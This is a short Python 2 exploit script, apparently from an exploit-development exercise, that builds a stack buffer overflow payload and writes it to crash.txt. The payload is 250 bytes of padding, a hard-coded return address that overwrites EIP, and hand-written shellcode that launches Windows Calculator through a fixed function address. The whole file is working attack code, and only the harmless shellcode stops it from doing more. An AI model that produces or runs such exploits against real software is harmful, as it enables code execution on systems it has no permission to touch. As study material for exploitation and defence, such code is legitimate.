import struct
def little_endian(address):
return struct.pack( "<L" ,address)
junk = "\x41" * 250
eip = little_endian( 0x7C86467B )
shellcode = (
"\x31\xC9"
"\x51"
"\x68\x63\x61\x6C\x63"
"\x54"
"\xB8\xC7\x93\xC2\x77"
"\xFF\xD0"
)
exploit = junk + eip + shellcode
try :
rst = open ( "crash.txt" , 'w' )
rst.write(exploit)
rst.close()
except :
print "Error"
|